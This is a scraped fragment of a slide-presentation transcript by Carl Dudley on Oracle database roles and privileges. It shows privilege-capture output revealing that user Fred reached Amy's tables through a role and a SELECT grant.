CAPTURE : CAPFREDOS_USER : LTREE1\AdministratorMODULE : SQL*PlusOBJ_PRIV : SELECTOBJECT_NAME : BUSED_ROLE : RFPATH : FRED,RF-----------------CAPTURE : CAPFREDOS_USER : LTREE1\AdministratorMODULE : SQL*PlusOBJ_PRIV : SELECTOBJECT_NAME : DUSED_ROLE : FREDPATH : FRED

Fred has used the rf role to access amy’s b table

Fred has used the SELECT privilege to access amy’s d table

“Verticalized” data from dba_used_objprivs_path

74

The Role of Roles and Privileges (Summary)The Role of Roles and Privileges (Summary)



Managing Roles

Pre-created Roles





Carl Dudley – Tradba Ltd75


Carl Dudley

UKOUG CommitteeOracle ACE Director

[email protected]

Carl Dudley

UKOUG CommitteeOracle ACE Director

[email protected]

Carl Dudley – Tradba Ltd 1 The Role of Roles and Privileges Carl Dudley UKOUG Official Oracle ACE...

Documents

Transcript of Carl Dudley – Tradba Ltd 1 The Role of Roles and Privileges Carl Dudley UKOUG Official Oracle ACE...